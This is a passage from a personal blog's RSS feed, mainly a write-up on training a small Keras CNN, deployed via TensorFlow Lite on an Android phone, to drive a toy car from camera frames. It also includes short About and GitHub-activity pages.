</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="w">        </span><span class="n">dist</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_X</span><span class="p">)</span><span class="o">/</span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_Y</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="kt">int</span><span class="w"> </span><span class="n">final_distance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">dist</span><span class="o">*</span><span class="n">distance</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">final_X</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">final_distance</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">final_Y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">vector_Y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">150</span><span class="o">/</span><span class="n">255</span><span class="p">;</span></span></span></code></pre></div>
<p>The result was an input range of -150 and 150 for Y and between -255 and 255 for X, the values for Y were smaller because we didn’t want the car to move too fast but a full range of steering was crucial. Below are the results of a training session.</p>

<div><img src="training_data.webp" 
		 class="img-preset img-preset-md" width="600" height="400">
</div>

<p>Each dot on the above graph represent the location of the finger on the trackpad at the time that a training image was sliced from the video. The top part represents forward motion, the bottom backwards motion and when the car steered it produced dots that form the diagonals of this hourglass shaped graph. We cut the data into a few logical sectors,</p>
<ol>
<li>
<p>Forward</p>
</li>
<li>
<p>50% Forward</p>
</li>
<li>
<p>Forward Left</p>
</li>
<li>
<p>Forward Right</p>
</li>
<li>
<p>Backward</p>
</li>
<li>
<p>50% Backward</p>
</li>
<li>
<p>Backward Left</p>
</li>
<li>
<p>Backward Right</p>
</li>
</ol>
<p>And “Stop” which proved to be pretty disastrous because at some point the car would learn to permanently stop.</p>
<p>Collecting the image data was somewhat easier, all we had to do was record a video while the car was being driven. Here’s a link to a sample <a href="https://github.com/googlearchive/android-Camera2Video">android project</a> that records a video and saves it to storage when you’re done, we used the same code to capture our videos and even your ordinary camera app works if you don’t want to implement anything custom. The only meta data that’s required is the length of the video and when the recording was initiated.</p>
<h3 id="combining-inputs-and-labels">Combining Inputs and Labels</h3>
<p>In order to match the correct actions with what the car is actually seeing we have to bring the two data sets together. By splitting the training video captured by the front facing camera and time stamping it into separate images we can match them to the timestamp of a log from the controller’s input.</p>
<p>The video was split into 4 images per second of video, although with a 30fps recording we could have gone for a lot more detail. On the other hand our mobile device could capture hundreds of actions on the touchscreen per second, requiring us to disregard most of the data for picking one log per image from the video. Both data sets where submitted to a python script to slice the videos and create matching (image, log) pairs.</p>

<div><img src="footage.webp" 
		 class="img-preset img-preset-md" width="600" height="400">

	<figcaption style="margin:0px;" class="figure-caption">
		Each training frame receives one direction label
	</figcaption>
</div>

<p>After driving the car around our building for a bit, we gathered close to 7000 pairs of images and associated human control label pairs. Due our small budget and running the neural network on a phone, we had to down sample our images to 50x50 pixels so that our setup had a fighting chance of working in real time.</p>
<h3 id="using-neural-networks">Using Neural Networks</h3>
<p>This was arguably the most exciting and frustrating part of the project, the machine learning. Because we wanted the car to drive on its own we wanted the on board phone to accomplish both the seeing and the steering for the car. Both were indeed possible. We fully utilized the OpenCV Android library to obtain an image for every time the camera screen was updated as well as running a separate thread to control the Bluetooth chip on the car. We used this <a href="https://medium.com/android-news/a-beginners-guide-to-setting-up-opencv-android-library-on-android-studio-19794e220f3c">android project</a> as an introduction to OpenCV and it got us to a point were we could obtain individual frames of the camera in real time. All that was left to do was to complete a forward pass on our network model with images supplied by the library’s onCameraFrame() function every time there was a new frame.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="n">Mat</span><span class="w"> </span><span class="nf">onCameraFrame</span><span class="p">(</span><span class="n">CvCameraViewFrame</span><span class="w"> </span><span class="n">inputFrame</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">  </span><span class="n">mGray</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">inputFrame</span><span class="p">.</span><span class="na">gray</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">  </span><span class="n">Mat</span><span class="w"> </span><span class="n">mEqualized</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Mat</span><span class="p">(</span><span class="n">mGray</span><span class="p">.</span><span class="na">rows</span><span class="p">(),</span><span class="w"> </span><span class="n">mGray</span><span class="p">.</span><span class="na">cols</span><span class="p">(),</span><span class="w"> </span><span class="n">mGray</span><span class="p">.</span><span class="na">type</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w">  
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="w">  </span><span class="c1">//normalize the image</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">  </span><span class="n">Imgproc</span><span class="p">.</span><span class="na">equalizeHist</span><span class="p">(</span><span class="n">mGray</span><span class="p">,</span><span class="w"> </span><span class="n">mEqualized</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="w">  
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">  </span><span class="c1">//convert the frame into a scaled bitmap</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">  </span><span class="n">Bitmap</span><span class="w"> </span><span class="n">bitmap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Bitmap</span><span class="p">.</span><span class="na">createBitmap</span><span class="p">(</span><span class="n">mEqualized</span><span class="p">.</span><span class="na">cols</span><span class="p">(),</span><span class="w"> </span><span class="n">mEqualized</span><span class="p">.</span><span class="na">rows</span><span class="p">(),</span><span class="w"> </span><span class="n">Bitmap</span><span class="p">.</span><span class="na">Config</span><span class="p">.</span><span class="na">RGB_565</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">  </span><span class="n">Utils</span><span class="p">.</span><span class="na">matToBitmap</span><span class="p">(</span><span class="n">mEqualized</span><span class="p">,</span><span class="w"> </span><span class="n">bitmap</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">  </span><span class="kd">final</span><span class="w"> </span><span class="n">Bitmap</span><span class="w"> </span><span class="n">scaled_bitmap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Bitmap</span><span class="p">.</span><span class="na">createScaledBitmap</span><span class="p">(</span><span class="n">bitmap</span><span class="p">,</span><span class="w"> </span><span class="n">50</span><span class="p">,</span><span class="w"> </span><span class="n">50</span><span class="p">,</span><span class="w"> </span><span class="kc">false</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="w">  </span><span class="c1">//get output from the neural net model</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="w">  </span><span class="kt">int</span><span class="o">[]</span><span class="w"> </span><span class="n">shape</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">model</span><span class="p">.</span><span class="na">get_Interpreter</span><span class="p">().</span><span class="na">getInputTensor</span><span class="p">(</span><span class="n">0</span><span class="p">).</span><span class="na">shape</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="w">  </span><span class="kd">final</span><span class="w"> </span><span class="n">ArrayList</span><span class="o">&lt;</span><span class="n">String</span><span class="o">&gt;</span><span class="w"> </span><span class="n">output</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">inferencer</span><span class="p">.</span><span class="na">multiImageInference</span><span class="p">(</span><span class="n">model</span><span class="p">,</span><span class="w"> </span><span class="n">scaled_bitmap</span><span class="p">,</span><span class="w"> </span><span class="n">shape</span><span class="o">[</span><span class="n">shape</span><span class="p">.</span><span class="na">length</span><span class="o">-</span><span class="n">1</span><span class="o">]</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="p">}</span></span></span></code></pre></div>
<p>At this point we could either write our own native neural network , or we could use Google’s <a href="https://ai.google.dev/edge/litert">Tensorflow Lite</a> library to load a python Keras model directly onto the phone. We went with Keras for the simplicity and existing collection of examples we could reference.</p>
<p>The only downside to this approach was that because the model file could no longer be changed on the Android phone, our car would not be able to use reinforcement learning to learn as it drove on its own. Fortunately this was a sacrifice we were willing to make.</p>
<p>With a basic Keras Sequential CNN model we pumped an input image of 2500 pixels into the series of Convolution and Max Pooling layers. We then converged the model into a dense layer at the end to give us 9 categories of output. For each output we would get a confidence value of how much the car was willing to follow any of the given directions. This was done because it’s not important for the car to make fine movements, the categories we specified above were enough.</p>
<h3 id="neural-network-architecture">Neural Network Architecture</h3>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">model</span> <span class="o">=</span> <span class="n">Sequential</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">                 <span class="n">activation</span><span class="o">=</span><span class="s1">&#39;relu&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">                 <span class="n">input_shape</span><span class="o">=</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">,</span><span class="mi">10</span><span class="p">),</span> 
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">                 <span class="n">name</span><span class="o">=</span><span class="s1">&#39;my_layer&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">convout1</span> <span class="o">=</span> <span class="n">Activation</span><span class="p">(</span><span class="s1">&#39;relu&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">convout1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">)))</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span> <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="n">activation</span><span class="o">=</span><span class="s1">&#39;relu&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">convout2</span> <span class="o">=</span> <span class="n">Activation</span><span class="p">(</span><span class="s1">&#39;relu&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">convout2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">)))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.25</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Flatten</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="n">activation</span><span class="o">=</span><span class="s1">&#39;relu&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.5</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="n">numBins</span><span class="p">,</span> <span class="n">activation</span><span class="o">=</span><span class="s1">&#39;softmax&#39;</span><span class="p">))</span></span></span></code></pre></div>
<p>Above is a Keras model we used for our car. It is relatively small and the gist of it is that it converts a 50x50 array of an input image into an array of 9 confidence outputs for each of the joystick colored sectors.</p>
<p>After a few weeks of tweaking we settled on this model that worked fairly well, giving us a 95% success rate with a sizable test set of 30% of our entire training database. The laststep was to save the Keras library as a tflite file and feed it to the Interpreter on the phone.</p>
<p>Tensorflow Lite has the amazing functionality of exporting the python written model into a tflite file which can be used by a Tensorflow Lite interpreter on any other system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">model_json</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">to_json</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;model.json&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">json_file</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="n">json_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">model_json</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">keras_file</span> <span class="o">=</span> <span class="s2">&#34;model.h5&#34;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">model</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">keras_file</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">converter</span> <span class="o">=</span> <span class="n">lite</span><span class="o">.</span><span class="n">TFLiteConverter</span><span class="o">.</span><span class="n">from_keras_model_file</span><span class="p">(</span><span class="n">keras_file</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">tflite_model</span> <span class="o">=</span> <span class="n">converter</span><span class="o">.</span><span class="n">convert</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;model.tflite&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">tflite_model</span><span class="p">)</span></span></span></code></pre></div>
<p>This model is simply loaded as a TFLite interpreter object which can then use the simple run() function on an input image to create a prediction.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="n">Interpreter</span><span class="w"> </span><span class="nf">load_internal_model</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">model_name</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">IOException</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">        </span><span class="n">tfliteModel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">loadModelFile</span><span class="p">(</span><span class="n">model_name</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">        </span><span class="n">tflite_interpreter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Interpreter</span><span class="p">(</span><span class="n">tfliteModel</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">tflite_interpreter</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="n">ByteBuffer</span><span class="w"> </span><span class="nf">loadModelFile</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">model_name</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">IOException</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">        </span><span class="n">AssetFileDescriptor</span><span class="w"> </span><span class="n">fileDescriptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">activity</span><span class="p">.</span><span class="na">getAssets</span><span class="p">().</span><span class="na">openFd</span><span class="p">(</span><span class="n">model_name</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">        </span><span class="n">FileInputStream</span><span class="w"> </span><span class="n">inputStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">FileInputStream</span><span class="p">(</span><span class="n">fileDescriptor</span><span class="p">.</span><span class="na">getFileDescriptor</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">        </span><span class="n">FileChannel</span><span class="w"> </span><span class="n">fileChannel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">inputStream</span><span class="p">.</span><span class="na">getChannel</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">        </span><span class="kt">long</span><span class="w"> </span><span class="n">startOffset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fileDescriptor</span><span class="p">.</span><span class="na">getStartOffset</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="w">        </span><span class="kt">long</span><span class="w"> </span><span class="n">declaredLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fileDescriptor</span><span class="p">.</span><span class="na">getDeclaredLength</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">fileChannel</span><span class="p">.</span><span class="na">map</span><span class="p">(</span><span class="n">FileChannel</span><span class="p">.</span><span class="na">MapMode</span><span class="p">.</span><span class="na">READ_ONLY</span><span class="p">,</span><span class="w"> </span><span class="n">startOffset</span><span class="p">,</span><span class="w"> </span><span class="n">declaredLength</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span></span></span></code></pre></div>
<p>Now taking this model we can saved it into the memory of our phone and run it with the TensorFlow Interpreter to simply do a forward pass on the model.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">float</span><span class="o">[][][][]</span><span class="w"> </span><span class="n">float_pixels</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="kt">float</span><span class="o">[</span><span class="n">1</span><span class="o">][</span><span class="n">50</span><span class="o">][</span><span class="n">50</span><span class="o">][</span><span class="n">num_saved</span><span class="o">]</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kt">float</span><span class="o">[][]</span><span class="w"> </span><span class="n">outputVal</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="kt">float</span><span class="o">[</span><span class="n">1</span><span class="o">][</span><span class="n">9</span><span class="o">]</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">50</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="w">    </span><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">50</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="o">++</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">        </span><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">num_saved</span><span class="p">;</span><span class="w"> </span><span class="n">b</span><span class="o">++</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="w">            </span><span class="n">float_pixels</span><span class="o">[</span><span class="n">0</span><span class="o">][</span><span class="n">i</span><span class="o">][</span><span class="n">j</span><span class="o">][</span><span class="n">b</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="n">int_bitmaps</span><span class="p">.</span><span class="na">get</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="o">[</span><span class="n">i</span><span class="o">*</span><span class="n">50</span><span class="o">+</span><span class="n">j</span><span class="o">]/</span><span class="n">255</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">try</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="w">    </span><span class="n">tflite_interpreter</span><span class="p">.</span><span class="na">run</span><span class="p">(</span><span class="n">float_pixels</span><span class="p">,</span><span class="n">outputVal</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="n">Exception</span><span class="w"> </span><span class="n">e</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="w">    </span><span class="n">e</span><span class="p">.</span><span class="na">printStackTrace</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">//</span><span class="n">outputVal</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">now</span><span class="w"> </span><span class="n">contains</span><span class="w"> </span><span class="n">confidence</span><span class="w"> </span><span class="n">values</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">all</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">sectors</span></span></span></code></pre></div>
<p>The sector with the highest confidence was taken as the action to execute by the car and finally all the pieces were in place.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/F036dy1oTcA?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h3 id="conclusion">Conclusion</h3>
<p>At this point we had the car built, data collection set up and a neural network dictating the controls. The car was driving with the expertise of a 6 year old with a controller. It can safely be said that we were not winning any Grand Prix any time soon but the car was able to drive around on its own without crashing itself, with surprising reliability.</p>
<p>In any case we were happy that something that we’ve built over a semester while taking our other classes could actually learn on its own and accomplish such a difficult task, with minimal input from us. As a first project in machine learning this was a tough one to start with but looking back at it, the approach we took was in line with any other standard machine learning task.</p>
<p>If you’re still reading, hopefully you’ve learned something new and if not at least enjoyed our amateur struggles. Again, all the code is available here <a href="https://github.com/RoboticsCourse">https://github.com/RoboticsCourse</a>, please consider starring it and checking out the contributors.</p>
]]></content:encoded></item><item><title>About Me</title><link>https://michaelmuratov.com/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/about/</guid><description>&lt;p&gt;By day I work on creating and improving cyber threat intelligence workflows.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="this-blog"&gt;This blog&lt;/h2&gt;
&lt;p&gt;Two types of posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stories&lt;/strong&gt; — longer pieces, field notes, things I&amp;rsquo;m thinking through&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Artifacts&lt;/strong&gt; — technical write-ups, project breakdowns, reference material&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both are for an audience of one first (future me) and anyone else who finds them useful second.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;More to come here as projects accumulate.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://michaelmuratov.com/purpose/"&gt;Why this website exists.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>By day I work on creating and improving cyber threat intelligence workflows.</p>
<hr>
<h2 id="this-blog">This blog</h2>
<p>Two types of posts:</p>
<ul>
<li><strong>Stories</strong> — longer pieces, field notes, things I&rsquo;m thinking through</li>
<li><strong>Artifacts</strong> — technical write-ups, project breakdowns, reference material</li>
</ul>
<p>Both are for an audience of one first (future me) and anyone else who finds them useful second.</p>
<hr>
<p><em>More to come here as projects accumulate.</em></p>
<hr>
<p><em><a href="/purpose/">Why this website exists.</a></em></p>
]]></content:encoded></item><item><title>Activity</title><link>https://michaelmuratov.com/activity/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/activity/</guid><description>&lt;link
rel="stylesheet"
href="https://unpkg.com/github-calendar@latest/dist/github-calendar-responsive.css"
/&gt;
&lt;div class="github-calendar"&gt;&lt;/div&gt;
&lt;script src="https://unpkg.com/github-calendar@latest/dist/github-calendar.min.js"&gt;&lt;/script&gt;
&lt;script&gt;
GitHubCalendar(".github-calendar", "michaelmuratov", { responsive: true });
&lt;/script&gt;</description><content:encoded><![CDATA[
<link
  rel="stylesheet"
  href="https://unpkg.com/github-calendar@latest/dist/github-calendar-responsive.css"
/>
<div class="github-calendar"></div>
<script src="https://unpkg.com/github-calendar@latest/dist/github-calendar.min.js"></script>
<script>
  GitHubCalendar(".github-calendar", "michaelmuratov", { responsive: true });
</script>

]]></content:encoded></item></channel></rss>